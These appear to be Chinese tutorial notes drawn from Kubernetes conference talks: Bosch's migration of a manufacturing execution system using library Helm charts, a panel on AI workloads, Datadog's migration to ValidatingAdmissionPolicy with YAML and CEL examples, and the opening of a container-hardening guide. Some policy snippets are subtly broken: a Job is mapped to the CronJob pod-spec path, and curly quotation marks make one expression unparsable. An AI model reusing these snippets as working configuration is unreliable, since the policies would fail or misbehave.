这引出了一个核心问题:作为DevOps平台团队,如何确保构建的系统能够轻松部署和运维,同时不给开发团队带来过多负担或拖慢他们的日常工作?


解决方案:库Helm图表

团队早期做出的一个关键决策是:将所有模块打包为独立的Helm图表。但如何实现呢?

以下是几种可能的方法:

  • 方法A:分散式:让每个开发团队创建自己的Helm图表。优点:团队灵活性高。缺点:难以强制执行标准;由于团队知识分布不均,结果可能不符合预期。
  • 方法B:集中式:让一个中心团队负责为所有模块创建Helm图表。优点:能够强制执行质量标准;人员专业。缺点:会在组织中造成巨大的瓶颈,中心团队将成为所有其他团队的依赖,拖慢发布周期。
  • 方法C:库图表式(团队选择):编写一个库Helm图表,并授权所有开发团队使用该库图表。图表的设计使得各个模块Helm图表渲染的所有内容都通过该库图表进行。通过这种方式,团队可以严格控制开发人员能够做什么以及能够向集群渲染什么。这种方法被证明非常有效。

发布管理与职责分离

采用库图表方法后,需要解决发布和职责问题。

团队有一个特殊要求:尽管技术上可以部署单个服务,但为了外部客户,仍然需要将所有内容捆绑成一个版本。这通过创建一个伞形Helm图表作为最终发布工件来实现,满足了该要求。

在职责方面:

  • 模块Helm图表由模块团队拥有。
  • 库图表、伞形图表和一些支持组件由专门的库团队(或称DevOps团队、平台团队)拥有。

团队之间紧密协作,进行知识交流,这种设置运行良好。


库图表作为一等公民

如果采用库Helm图表方法,一个重要经验是:必须将库Helm图表视为一等公民。它不仅仅是部署代码,而是部署整个系统的核心,其变更会影响许多团队。

因此,需要为其采用完整的软件开发生命周期:制定路线图、进行需求管理、维护待办事项列表。团队还允许每个开发团队通过拉取请求为库图表做出贡献,以加速新功能的添加。


技术实现细节

在技术层面,每个模块团队都必须使用库Helm图表。当开发团队为其模块创建Helm图表时,他们只需在图表中放置一个模板。该模板通常只包含一行代码:调用库Helm图表渲染函数的代码。这是进入库图表的单一入口点。

一个特别之处是:开发人员需要将他们想要表达的所有其他内容直接放入values.yaml文件中。这看起来不常见,但带来了很多好处:

  • 团队定义了一个自定义的、固化的数据结构,模块团队必须遵守。
  • 这种结构有助于从大多数开发团队中抽象出许多细节(例如,入口定义无需显式表达,默认即可构建)。
  • 它允许开发团队使用普通Helm图表的所有功能,只是他们不必手动编写。

模式验证与关注点分离

将所有内容放入values.yaml的另一个巨大好处是便于模式验证。验证在两个层面进行:

  1. 模块层面:模块团队被要求在自身的模块Helm图表中放置模式文件,用于输入参数验证。
  2. 全局层面:由库图表团队维护全局模式,用于进行结构检查,确保模块团队定义的总体数据结构正确且符合当前库图表版本。

在数据模型本身,团队也实现了关注点分离:

  • 全局级别:通常由操作员(如库团队)填写,包含数据库服务器连接详情、端口信息等。
  • 模块级别:团队仅需声明其模块需要何种数据库(如MS SQL或Oracle),以及所需的额外要求(如数据库角色)。

然后利用Helm模板将这两部分信息混合匹配,渲染出最终的部署配置。


高级技巧:跨模块共享配置与模板化

有时,模块团队需要确保不同模块间的某些参数设置相同,即需要在子图表间共享配置信息。Helm本身不直接支持此功能,但可以通过一个小技巧实现:利用Helm模板中的全局字典,将数据从子图表A导入到全局字典,即可使其对部署中的所有其他子图表可用。

关于模板化,团队仍然允许模块团队在values.yaml中进行简单的字符串格式化或模板功能。这是通过在渲染环境变量时,在适当的地方添加{{ tpl .Values.someString . }}函数调用实现的。这样,库团队可以控制团队在何处被允许进行模板化,有助于确保整体质量。


超越Helm:自定义操作符

Helm渲染和部署并不能解决所有问题。团队还构建了自定义操作符,主要分为两类:

  1. 基础设施操作符:管理数据库、创建模式等,处理所有类型的基础设施事务。
  2. 应用集成操作符:与自定义构建的身份和访问管理解决方案集成,确保不同模块在启动时正确注册、拥有访问其他模块的权限、交换密钥等。所有这些都通过操作符实现自动化,无需人工干预。

经验总结与展望

在本节中,我们将总结迁移过程中的关键经验教训,并展望未来的改进方向。

经验教训:

  1. 单元测试至关重要:当库Helm图表拥有成千上万行模板代码并被所有人使用时,每个补丁都会影响所有人。helm-unittest插件非常有用。
  2. 注意Helm状态存储:当将所有内容捆绑成一个Helm图表(即一个Helm发布)时,需要注意Helm状态的大小。单个系统实例可能包含约15,000个不同的Kubernetes资源,很容易达到1MB的边界,可能需要切换Helm后端。
  3. 拥抱开源改进:开源社区的改进带来了巨大帮助。例如,Helm 3.14版本大幅提升了模板渲染性能,对于大量使用模板的团队,渲染时间从超过100秒降至10秒以内,节省了大量时间。

总结:
迁移到Kubernetes和采用Helm对团队来说是一个正确的决定。总体部署时间从数小时或数天缩短到数分钟。现在,团队可以在几分钟内部署一个制造系统,并且它能正常工作。


问答环节精要

在演讲的最后,讲者与听众进行了一些有价值的问答交流。

问:如何处理那些遗留的、没有明确所有权且并非所有站点都有的组件?
答: 对于无法直接“提升和转移”的遗留系统,有时可能不得不让它们继续留在Windows虚拟机中。未来,随着诸如Istio支持Windows等技术的发展,或许能更容易地将这些系统连接到Kubernetes集群,但彻底解决通常需要更换解决方案或完全重写。

问:如何让为持久状态和固定运行环境设计的工业控制系统适应Kubernetes的无状态、临时性范例?
答: 作为软件提供商,团队不仅在“提升和转移”,也在适时对软件进行重写以使其更加云原生。这仍然是一个挑战。一个有效的方法是定期进行DevOps交流,让具有云知识的工程师加入不同的开发团队,帮助他们解决在Helm图表、重试机制、状态处理等方面遇到的问题。通过知识传递,情况会逐渐改善。

问:是否考虑过使用Kubernetes边缘项目来连接仍使用旧协议的遗留系统?
答: 团队了解Kubernetes边缘项目,但目前对于需要保留在虚拟机上的混合工作负载,通常让虚拟机留在原地,通过本地集群与其余软件建立直接连接,而不是将虚拟机本身纳入Kubernetes集群。

问:迁移到公有云的MES功能比例是多少?如何保证连接的可靠性和低延迟?
答: 博世自身的工厂完全运行在内部的本地云上。公有云(如Azure)上的产品主要面向外部客户,提供的是非延迟敏感型模块的功能(如车间管理),而非直接控制生产线的部分。因此,博世工厂本身并不通过公有云控制。


总结

在本教程中,我们一起学习了博世公司将传统制造执行系统迁移到Kubernetes的完整历程。我们从了解MES的核心概念和传统挑战开始,逐步探索了“提升和转移”的初步尝试、现代云原生架构的演进,并深入分析了迁移过程中在技术、配置管理和组织协作方面遇到的具体挑战。关键解决方案——如采用库Helm图表实现标准化和管控、通过模式验证和关注点分离确保质量、利用自定义操作符实现自动化——为我们提供了宝贵的实践洞察。最终,这次转型成功地将系统部署时间从数小时缩短至数分钟,显著提升了制造业的敏捷性和效率。

040:超越Kubernetes - 适应专业应用工作负载

概述

在本节课中,我们将探讨Kubernetes如何适应并支持日益增长的专业化应用工作负载,特别是人工智能和机器学习工作负载。我们将了解来自谷歌、微软、亚马逊和英伟达的专家们如何看待当前的技术现状、面临的挑战以及未来的发展方向。


章节 1:专家介绍与行业现状

大家好。我们今天在这里讨论如何让Kubernetes适应专业化的应用工作负载。

以下是我们的专家组成员。

Dan Chen:我是谷歌的软件工程师,也是Kubernetes自创立以来的技术负责人。目前我领导着SIG Node社区,并致力于推动Kubernetes支持AI/ML和HPC等专业化工作负载。

Sachi Desai:大家好,我是Sachi Desai,是Azure Kubernetes服务团队的产品经理,专注于将AI和GPU HPC部署到AKS和整个Kubernetes生态。我也参与了CNCF沙箱项目Kubernetes AI工具链算子。

Vara Btu:大家好,我是Vara Btu,AWS的首席开源专家。我的主要关注领域是在Kubernetes上扩展数据和ML工作负载,特别是在Amazon EKS上。我擅长使用Spark、Flink和Trino等数据框架在Kubernetes上构建数据管道和ML平台。

Aaron Boyd:我是英伟达的高级总监和杰出工程师。非常高兴来到这里。看到这么多人在周五参加这个会议,我感到非常激动。

现场调查显示,已经有不少听众在生产环境中运行AI工作负载,并且有更多人计划在未来几个月内部署。


章节 2:各云厂商的客户现状

上一节我们介绍了专家组成员,本节中我们来看看各大云厂商所观察到的客户现状。

英伟达:英伟达服务的客户群体非常广泛和多样化。我们既有进行前沿AI/ML研究的内部客户,也有大量外部客户。工作负载涵盖从托管DeepSeek等模型,到使用NIMs和蓝图创建、增强模型或进行微调和训练的各个方面。我们正看到Kubernetes与AI,以及HPC与Kubernetes的交叉融合,这正在迅速改变技术格局。

AWS:在AWS,许多客户都在Kubernetes上运行其AML工作负载。这些客户遍布各个垂直行业,如汽车、金融、供应链等。亚马逊零售自身构建AI的实践为许多客户提供了范例。他们利用Kubernetes和Amazon EKS中的开源解决方案,构建具有自定义调度、自动扩缩、推理和训练等功能的AML平台。

Azure:在Azure,我们看到用户处于AI旅程的不同阶段。有些用户刚开始尝试不同模型并进行基准测试;有些用户在进行模型服务和推理工作负载;更高级的用户则出于安全、数据治理等原因,希望从头开始训练自己的模型。我们的目标是支持他们旅程中的每一个阶段。

谷歌:谷歌的情况有些特殊。我们既有混合工作负载,也有处于不同阶段的客户。从训练、数据处理准备到推理服务。谷歌的独特之处在于,我们自己也生产硬件,因此客户来到谷歌不仅可以使用GPU,还可以出于成本效率等原因选择TPU。同时,谷歌自身也在构建模型,许多客户会就此寻求合作。这为我们提供了独特的视角,让我们思考如何构建标准的硬件和统一的框架来支持不同类型的客户需求。


章节 3:Kubernetes的演进与挑战

了解了行业现状后,本节我们深入探讨Kubernetes社区为支持这些工作负载所做的演进以及面临的挑战。

Kubernetes正在不断演进以适应AML工作负载。去年在巴黎和盐湖城的会议上,许多即将到来的新功能让大家感到兴奋。

硬件标准化:谷歌的特殊性让我们意识到标准化硬件以支持AI/ML工作负载的重要性。设备插件框架 正在尝试标准化并为Kubernetes构建抽象表示,以便Kubernetes能够管理和调度这类工作负载。DRA在这方面取得了很大进展,已接近生产就绪状态,但仍需解决监控、迁移等诸多问题。

支持批处理工作负载:除了硬件,还有更高层次的对象需求。Kubernetes最初是为Web服务设计的,后来演进到支持有状态应用,但在支持批处理工作负载,尤其是复杂的、有依赖关系的批处理工作负载方面做得并不好。因此,社区构建了许多项目来填补这些空白。

以下是社区为解决这些问题而构建的关键项目/概念:

  • 自定义调度器:如Volcano、Kube-batch,用于处理队列和文件共享等任务。
  • 调度框架与插件:如组调度、拓扑感知调度等KEP,用于优化AI工作负载的调度。
  • 工作流原语缺失:Kubernetes目前缺乏定义对象来原生支持具有依赖关系的复杂批处理工作流。
  • 故障快速检测与恢复:如何快速检测GPU等硬件问题,并进行智能的故障切换和修复,是模型训练任务面临的新挑战。

社区面临的一个关键问题是,随着各种自定义调度器的出现,可能会造成Kubernetes生态的碎片化。虽然为不同行业定制是合理的,但这也可能降低平台的效率和弹性。因此,需要在标准化的基础上进行创新。


章节 4:集成与实践:云厂商的视角

上一节我们讨论了社区层面的演进,本节我们从云厂商和集成者的角度,看看如何将这些进展落地,以及客户面临的实际挑战。

Kubernetes AI工具链算子的角色:作为一个工具链算子,它旨在成为整个AI管道中的一个可组合工具。它关注如何与可观测性、GPU节点健康检查等其他工具集成,并在整体上进行优化。它验证新的调度器插件如何协同工作,并重点关注节点健康与可靠性,确保训练等长时间运行的任务在遇到GPU健康问题时能够安全迁移,从而降低成本。

客户挑战与解决方案:在AWS,我们通过Data on Kubernetes等项目展示如何在Kubernetes上运行大规模Spark或AML训练工作负载。运行这些工作负载本身是直接的,但需要考虑很多方面。

以下是运行大规模数据/AI工作负载时需要考虑的关键方面:

  • 工作负载打包与调度:需要使用自定义调度器进行GPU/CPU优化和工作负载打包。
  • 容错与恢复:分布式计算部件在出错时能否恢复。
  • 可扩展性挑战:Kubernetes对无状态服务支持很好,但对于有状态的数据/AI工作负载,可扩展性因工作负载类型而异。批处理工作负载可能扩展到2000个节点,而AML工作负载可能到200-300个节点,且需要大量调优。
  • 不断演进的技术栈:缓存技术、篮子调度器、GPU分时共享等技术正在不断涌现,但社区仍有许多工作要做。

英伟达的开源与协作:英伟达正在加大对开源的投入,并认识到与社区合作的重要性。例如,开源项目SkyPilot允许动态更新作业参数以获得更好性能;即将发布的NV Sentinel用于监控节点健康状态。英伟达的DGX Cloud团队也积极与各大云提供商合作,提供技术和硬件支持。


章节 5:未来展望与现场问答

在讨论了现状和挑战之后,本节我们展望未来,并分享专家组成员对社区和行业的期望。

专家组成员对英伟达及整个生态提出了以下期望与建议:

对英伟达的期望

  1. 分布式训练数据缓存:在跨多GPU的分布式训练中,从S3等源流式读取数据可能很慢。需要更好的数据分片、跨节点缓存解决方案,避免数据重复。
  2. GPU问题快速检测:需要更快的GPU硬件问题检测能力,减少人工验证模型正确性的时间。
  3. GPU更好、更安全地共享:GPU成本高昂,需要探索更多共享方式和安全隔离方案。
  4. GPU热插拔:实现GPU的动态插拔,可以彻底改变云中节点的使用方式。
  5. 监控工具标准化:希望像NVIDIA DCGM Exporter这样的工具能得到更广泛的支持,并易于集成到Prometheus和Grafana等标准监控栈中。

未来的发展方向

  • 标准化是关键:需要在硬件、调度层、自动扩缩原语等方面推动标准化。避免生态碎片化,同时允许上层框架创新。
  • 统一的管理平面:用户希望拥有一个“单一管理面板”,能够跨不同GPU厂商甚至各种加速器进行细粒度控制和监控。
  • 网络与性能:未来需要关注RDMA over InfiniBand等分布式网络技术,并使其标准化,这对基于延迟的基准测试至关重要。
  • 愿景:理想的未来是数据科学家可以使用熟悉的API提交作业,而部署层是通用和标准化的。Kubernetes作为核心层,与具体工作负载的细节管理解耦。

总结

本节课中,我们一起学习了Kubernetes在支持AI/ML等专业化工作负载方面的最新进展和挑战。我们了解到:

  1. 各大云厂商的客户正处于AI旅程的不同阶段,需求多样。
  2. Kubernetes社区正通过DRA、调度框架插件等项目在硬件抽象和批处理支持方面积极演进。
  3. 在实际集成中,工作负载打包、容错、可扩展性和监控是客户面临的主要挑战。
  4. 未来发展的核心在于标准化,包括硬件接口、调度原语、监控工具和网络,以避免生态碎片化,同时为上层创新提供坚实基础。
  5. 社区需要通力合作,共同解决GPU共享、故障快速恢复、数据缓存等具体问题,并倾听来自用户和开发者的反馈。

感谢使用Kubernetes,并尝试在其上运行AI工作负载。请继续提供反馈和您的用例,这将帮助Kubernetes项目持续改进。

041:蒸发Kubernetes安全风险——规模化采用验证准入策略

概述

在本教程中,我们将学习如何将基础的验证准入策略(Validating Admission Policy, VAP)教程示例,转化为适合大规模生产环境部署的成熟策略。我们将以Datadog的实践经验为例,逐步介绍策略的增强、迁移、监控以及后续优化思路。


Kubernetes在Datadog的规模

Datadog的工程团队拥有超过2000名员工。我们运行在多云环境上,管理着超过100个集群、10,000多个节点以及100,000多个Pod。我们所有的工作负载都运行在Kubernetes上,这包括了基础设施、平台以及应用程序。因此,我们需要一套精细且可配置的安全策略来匹配异构的工作负载。


Datadog的准入控制历史

我们的准入策略历史始于2020年,当时Kubernetes正在弃用Pod安全策略(Pod Security Policies, PSP)。我们当时正在寻找替代方案,而Pod安全标准(Pod Security Standards, PSS)并不完全适合我们。那时,OPA Gatekeeper是生态系统中的默认解决方案,我们最终选择了它。

OPA Gatekeeper简介:OPA(开放策略代理)是一个已毕业的CNCF项目,旨在成为一个通用策略引擎,主要使用Rego语言编写策略。Gatekeeper则是将OPA引擎包装成验证准入Webhook的项目部分。


转向验证准入策略

自Kubernetes 1.30版本起,SIG API Machinery推出了一项名为验证准入策略的新功能,并且已进入稳定阶段。根据文档,验证准入策略提供了一种声明式的、进程内的替代方案,以取代验证准入Webhook。这意味着VAP验证直接在API服务器内评估,而不是像Gatekeeper那样作为准入Webhook运行。此外,VAP策略使用通用表达式语言(CEL)编写,而非Rego。

一旦我们接触到验证准入策略,我们进行了概念验证,并得出结论:它非常适合Datadog。我们总结了三个主要优势:

  1. 从外部Webhook移至进程内:这将减少大量的运维复杂性,降低云资源成本和开销,并通过不运行外部Webhook来提升安全状况。
  2. 青睐CEL语言:我们看到CEL在Kubernetes中的应用日益增多,例如在CRD的字段验证中。Datadog内部的一些开发者工具也在使用它。
  3. 命名空间范围的参数:作为安全工程师,这非常棒,可以让我一眼看清整个命名空间的安全状况,并且与Datadog现有的命名空间所有权和RBAC边界非常契合。

策略演进:从教程到生产

决定迁移到验证准入策略后,我们需要做的第一件事就是将现有策略转化为验证准入策略。本节中,我们将以我们的“Capabilities策略”为例,展示如何逐步增强一个基础策略。

基础策略:限制容器能力

这个策略源自我们的Pod安全策略时期,其核心作用是限制容器在其安全上下文中可以添加的Linux能力(Capabilities)。

首先,我们需要几个组件来运行VAP:

  1. ValidatingAdmissionPolicy资源:定义策略规则。
  2. ValidatingAdmissionPolicyBinding资源:将策略绑定到特定的命名空间。

以下是一个基础的策略示例,它拒绝任何尝试在容器安全上下文中添加能力的Pod。

# ValidatingAdmissionPolicy
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: "capabilities-policy"
spec:
  matchConstraints:
    resourceRules:
    - apiGroups:   [""]
      apiVersions: ["v1"]
      operations:  ["CREATE", "UPDATE"]
      resources:   ["pods"]
  validations:
    - expression: "object.kind == 'Pod' && !has(object.spec.containers) ? true : object.spec.containers.all(c, !has(c.securityContext.capabilities.add))"
---
# ValidatingAdmissionPolicyBinding
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: "capabilities-policy-binding"
spec:
  policyName: "capabilities-policy"
  matchResources: {}

策略说明

  • matchConstraints 指定此策略针对Pod资源的创建和更新操作。
  • expression 是一个CEL表达式,检查Pod的所有容器是否都没有在securityContext.capabilities.add字段中指定任何内容。如果有,则验证失败。

局限性:此策略是“全有或全无”的。要么完全禁止能力,要么通过命名空间选择器排除整个命名空间,但这又允许了所有能力。这无法满足合法的用例需求。

增强一:引入全局允许的能力变量

为了增加灵活性,我们可以在策略中定义变量,例如一个“全局允许的能力”列表。这些能力被认为在使用前不需要额外的安全审查。

# ValidatingAdmissionPolicy (增强版)
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: "capabilities-policy"
spec:
  variables:
    - name: "globally_allowed_capabilities"
      expression: "['NET_ADMIN', 'SYS_TIME']" # 示例列表
  matchConstraints: ... # 同上
  validations:
    - expression: >-
        object.kind == 'Pod' &&
        object.spec.containers.all(c,
          (c.securityContext?.capabilities?.add.orValue([])).all(cap,
            cap in variables.globally_allowed_capabilities
          )
        )

增强点

  1. variables:定义了globally_allowed_capabilities变量。
  2. CEL可选字段与orValue函数:表达式c.securityContext?.capabilities?.add.orValue([])使用了?.操作符进行可选字段选择。如果路径上的任何字段不存在,则使用orValue([])返回一个空列表。这避免了每次都需要检查字段是否存在,使表达式更简洁。

增强二:使用参数资源实现命名空间级配置

全局变量提供了灵活性,但我们可以更进一步。验证准入策略支持参数资源的概念,允许你将任何Kubernetes资源中的信息注入到策略中。在Datadog,我们创建了自定义资源定义(CRD)来打包策略所需的所有变量。

# 1. 自定义参数资源CRD (示例)
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
  name: securitypolicies.datadog.com
spec:
  group: datadog.com
  names:
    kind: SecurityPolicy
    plural: securitypolicies
  scope: Namespaced
  versions:
    - name: v1alpha1
      schema: ... # 定义allowedCapabilities等字段
---
# 2. 命名空间中的参数资源实例
apiVersion: datadog.com/v1alpha1
kind: SecurityPolicy
metadata:
  name: namespace-xyz-policy
  namespace: xyz
spec:
  allowedCapabilities:
    - "NET_ADMIN"
    - "IPC_LOCK"
---
# 3. 更新Policy以引用参数
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: "capabilities-policy"
spec:
  paramKind:
    apiVersion: datadog.com/v1alpha1
    kind: SecurityPolicy
  variables: ... # 可保留全局变量
  matchConstraints: ... # 同上
  validations:
    - expression: >-
        object.kind == 'Pod' &&
        object.spec.containers.all(c,
          (c.securityContext?.capabilities?.add.orValue([])).all(cap,
            cap in variables.globally_allowed_capabilities ||
            (has(params) && cap in params.spec.allowedCapabilities)
          )
        )
---
# 4. 更新Binding以指定参数
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: "capabilities-policy-binding"
spec:
  policyName: "capabilities-policy"
  paramRef:
    name: "namespace-xyz-policy" # 引用该命名空间中的参数资源
  matchResources: {}

增强点

  1. paramKind:在策略中声明参数资源的类型。
  2. paramRef:在绑定中指定具体使用哪个参数资源实例。
  3. 表达式更新:现在CEL表达式会同时检查全局允许列表和命名空间特定的参数资源中定义的允许列表。

这实现了单策略,多配置,允许根据每个命名空间的安全需求和能力需求进行差异化配置。

增强三:扩展策略以验证高层资源

目前策略只验证Pod资源。从安全角度可以接受,但从用户体验角度,最好能直接验证用户更常接触的、创建Pod的高层资源,如Deployment、Job、CronJob等。

挑战在于这些资源的Pod规范路径不同。解决方案是使用变量来抽象出Pod规范路径。

# ValidatingAdmissionPolicy (支持高层资源)
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: "capabilities-policy"
spec:
  paramKind: ... # 同上
  variables:
    - name: "globally_allowed_capabilities"
      expression: "['NET_ADMIN', 'SYS_TIME']"
    - name: "pod_spec"
      expression: >-
        object.kind == 'Pod' ? object.spec :
        (object.kind == 'Deployment' || object.kind == 'ReplicaSet') ? object.spec.template.spec :
        object.kind.endsWith('Job') ? object.spec.jobTemplate.spec.template.spec :
        null # 不支持的资源类型
  matchConstraints:
    resourceRules:
    - apiGroups:   ["", "apps", "batch"]
      apiVersions: ["v1"]
      operations:  ["CREATE", "UPDATE"]
      resources:   ["pods", "deployments", "replicasets", "jobs", "cronjobs"]
  validations:
    - expression: >-
        variables.pod_spec != null &&
        variables.pod_spec.containers.all(c,
          (c.securityContext?.capabilities?.add.orValue([])).all(cap,
            cap in variables.globally_allowed_capabilities ||
            (has(params) && cap in params.spec.allowedCapabilities)
          )
        )

增强点

  1. matchConstraints:扩展了资源规则,包含了Pod和高层控制器。
  2. pod_spec变量:使用三元条件运算符,根据资源类型动态提取Pod规范路径。
  3. 统一验证表达式:现在验证表达式使用variables.pod_spec,可以统一处理所有支持的资源类型。

增强四:提供友好的拒绝消息

当资源被拒绝时,提供清晰的错误信息至关重要。我们可以使用messageExpression来实现。

# ValidatingAdmissionPolicy (添加消息表达式)
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: "capabilities-policy"
spec:
  # ... paramKind, variables, matchConstraints 同上
  validations:
    - expression: >- # 验证表达式
        variables.pod_spec != null &&
        variables.pod_spec.containers.all(c, ... ) # 同上
      messageExpression: >- # 消息表达式
        ‘容器 ‘ + variables.pod_spec.containers.filter(c,
          !(c.securityContext?.capabilities?.add.orValue([])).all(cap,
            cap in variables.globally_allowed_capabilities ||
            (has(params) && cap in params.spec.allowedCapabilities)
          )
        ).map(c, c.name).join(‘, ‘) + ‘ 包含了未被允许的Linux能力。请参阅文档:’ + variables.docs_url
  variables:
    - name: "globally_allowed_capabilities"
      expression: "['NET_ADMIN', 'SYS_TIME']"
    - name: "pod_spec"
      expression: ... # 同上
    - name: "docs_url" # 新增文档链接变量
      expression: “‘https://internal-wiki/capabilities-policy'”

增强点

  1. messageExpression:这是一个CEL表达式,在关联的验证表达式拒绝工作负载时被渲染和执行。
  2. 有用的信息:消息不仅指出了违反策略的容器名称,还提供了查看详细文档的链接,帮助用户排查问题。

安全迁移与监控策略

现在我们已经有了一个生产级的策略,接下来需要安全地从旧的OPA Gatekeeper迁移到新的验证准入策略。

迁移步骤一:审计模式验证

首先,利用VAP的audit验证动作。在此模式下,VAP会将所有策略违规记录到指定的审计日志中,但不会拒绝请求。这为我们提供了时间来检查策略的有效性和行为。

# ValidatingAdmissionPolicyBinding (审计模式)
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: "capabilities-policy-binding"
spec:
  policyName: "capabilities-policy"
  paramRef: ...
  matchResources: ...
  validationActions: ["Audit"] # 关键:仅审计,不拒绝

验证方法:由于验证准入策略在准入链中先于验证准入Webhook(如Gatekeeper)执行,我们应该在VAP的审计日志中看到策略违规,随后在Gatekeeper中看到对应的请求被拒绝。通过比对,确保每一个被Gatekeeper拒绝的请求都能在VAP审计日志中找到匹配的违规记录。同时,我们为所有迁移的策略创建了单元测试和端到端测试,以确保行为一致。

迁移步骤二:切换为拒绝模式

当我们确信新策略行为正确后,可以将绑定资源的验证动作改为Deny

validationActions: ["Deny"] # 切换为拒绝模式

现在,请求将首先被VAP拒绝,而不会到达Gatekeeper。我们可以通过确认Gatekeeper中不再有准入拒绝来验证策略匹配成功。一旦确认,就可以安全地停用Gatekeeper,完成迁移。

迁移后监控:确保API服务器健康

VAP现在处于关键路径上,我们需要确保其运行可靠、平稳。主要监控点:

  1. API服务器基础指标

    • apiserver_admission_webhook_rejection_count:现在应主要关注VAP相关的拒绝。
    • apiserver_request_duration_seconds:关注admission阶段的耗时,确保VAP评估没有引入显著延迟。
  2. CEL特定指标(聚合指标):

    • apiserver_validating_admission_policy_compilation_duration_seconds:CEL表达式编译耗时。
    • apiserver_validating_admission_policy_evaluation_duration_seconds:CEL表达式评估耗时。
    • 注意:这些指标是API服务器上所有CEL表达式(包括CRD验证)的聚合值,但能提供整体影响的感觉。
  3. 使用CEL Playground进行排查

    • 这是一个在线工具,可以输入VAP策略和测试请求对象,用于检查策略和表达式的有效性。
    • 它还能显示验证成本(Validation Cost)。API服务器通过验证成本预算(Validation Cost Budget) 来防止失控的CEL表达式影响性能。每个表达式的静态估算成本上限硬编码为1000万。Playground会显示策略中每个变量和表达式的成本及总成本,帮助开发者优化高成本表达式(尤其是嵌套和链式宏)。

总结与展望

本节课中,我们一起学习了如何将验证准入策略从教程示例演进为生产级部署。

回顾要点

  1. 迁移动机:从外部Webhook(如OPA Gatekeeper)迁移到进程内的VAP,可以减少运维复杂度、成本,并提升安全性。
  2. 策略演进
    • 使用变量简化配置和表达式。
    • 利用参数资源实现命名空间级别的灵活配置。
    • 通过抽象pod_spec变量,使单策略支持多种资源类型
    • 添加messageExpression提供友好的错误信息,改善用户体验。
  3. 安全迁移:采用审计(Audit)模式先行验证,再切换至拒绝(Deny)模式,并通过日志比对和测试确保策略一致性。
  4. 生产监控:关注API服务器和CEL相关的指标,利用CEL Playground工具进行成本分析和问题排查。

未来展望(Day 2 Operations)

  • 扩展策略范围:覆盖Init容器和临时容器(Ephemeral Containers)的能力限制。
  • 自动化Sidecar处理:通过策略变量,根据容器镜像名自动允许特定Sidecar所需的能力,减少人工操作。
  • 完善测试框架:继续使用Kubernetes的e2e框架进行端到端测试,确保策略无回归。
  • 构建自助服务平台:开发API驱动的内部平台,让终端用户可以自助申请策略例外(参数资源内容),并集成安全评审流程。
  • 策略例外清理:建立机制,识别并清理随时间推移不再需要的策略例外(例如,废弃的命名空间或已变更的工作负载),以持续降低安全风险。

通过以上步骤,你可以系统地、安全地在你的组织中规模化地采用验证准入策略,有效蒸发Kubernetes的安全风险。

042:你的容器真的“强壮”吗?—— K8s 容器强化指南

在本教程中,我们将学习如何将一个脆弱的容器转变为强健、安全的容器。我们将从理解基本术语开始,分析一个示例容器的安全风险,然后逐步应用一系列强化措施,最后总结关键要点和实用工具。

术语解析 🔍

在深入探讨之前,我们需要明确一些关键术语,确保我们讨论的是同一件事。

以下是本次教程中会用到的一些核心概念:

  • Kubernetes 组件
    • 集群:所有资源运行的环境,由一组工作节点组成。
    • 节点:可以是虚拟机或云实例,是实际运行工作负载的“工人”。
    • Pod:Kubernetes 中最小的可部署单元,是应用程序的“家”。
    • 容器:轻量级单元,包含运行应用所需的所有组件,如代码、运行时、库和配置。
  • 容器安全相关术语
    • 基础镜像:镜像像洋葱一样由多层构成,几乎所有镜像都基于另一个镜像构建。
    • 依赖项:应用程序运行所需的操作系统或编程语言包,可以是直接或间接依赖。
    • 漏洞与利用漏洞是软件中的弱点,可能被用于执行非预期操作。利用是利用这些弱点的工具。
    • 扫描器:用于检查容器以发现不安全配置、疑似密钥或漏洞包等问题的特定工具。

为何容器安全至关重要?📊

了解现状有助于我们理解强化措施的必要性。多项研究揭示了容器生态系统中普遍存在的安全问题。

一项2021年的研究发现,近一半被研究的官方 Docker Hub 库镜像至少包含一个具有概念验证利用的漏洞。

2023年的另一项研究发现,约30%的热门 Docker Hub 镜像基于一个在子镜像构建时已过时超过一个月的父镜像。70%的这些镜像的最新版本基于过时的父镜像构建,中位过时时间超过五个半月。

关于 latest 标签,2020年的一项研究发现,近12%的镜像其 latest 标签并未指向最新版本,约4%的镜像其 latest 与实际最新版本相差超过五个版本。使用 latest 标签意味着依赖镜像维护者来决定你实际运行的版本。

2023年的更多数据显示,在研究的约34万个镜像中,超过2.8万个镜像至少包含一个有效的密钥,总计发现5.5万个密钥,其中大部分是TLS和SSH私钥、数千个云API密钥以及数千个受损证书。许多密钥在被研究时仍在使用中。

2024年的数据更令人震惊:在公共互联网上暴露了超过一百万个容器组件,包括Kubernetes API服务器、镜像仓库、Docker运行时套接字或etcd集群等。其中大多数运行过时版本并使用默认配置,约86%暴露的Kube API服务器允许匿名访问,约1000个组件出现在威胁情报供应商的公共IP黑名单中。

认识我们的示例:脆弱的“Squishy Bin” 📦

现在,让我们认识一下本次教程的“改造对象”——一个脆弱的示例容器。

这个容器喜欢分享秘密,从陌生人那里拿糖果,在电话里透露一次性密码,给遥远国度的王子发送亚马逊礼品卡,并且在所有账户上使用相同的密码,还以明文形式保存在手机里。它柔软、毛茸茸,并且会危及你的应用程序。这就是 Squishy Bin

让我们快速查看一下是什么让 Squishy Bin 如此脆弱。

首先看 Dockerfile。我们从一个基于 Alpine 的轻量级 Python 镜像开始,设置工作目录,复制 PIP 配置文件以访问私有仓库,安装依赖项,删除 PIP 配置文件,复制应用程序源代码,并设置入口点。

对应的 Kubernetes 部署文件是一个相当标准的配置,包含命名空间标签和各种基本设置。这可能是从 Kubernetes 文档或某个AI工具生成的,是一个非常普通的配置,使用它本身没有问题。

安全评估:改造前的“体检” 🩺

在开始强化之前,我们需要了解起点。这相当于进行身体成分分析或拍摄“改造前”照片。

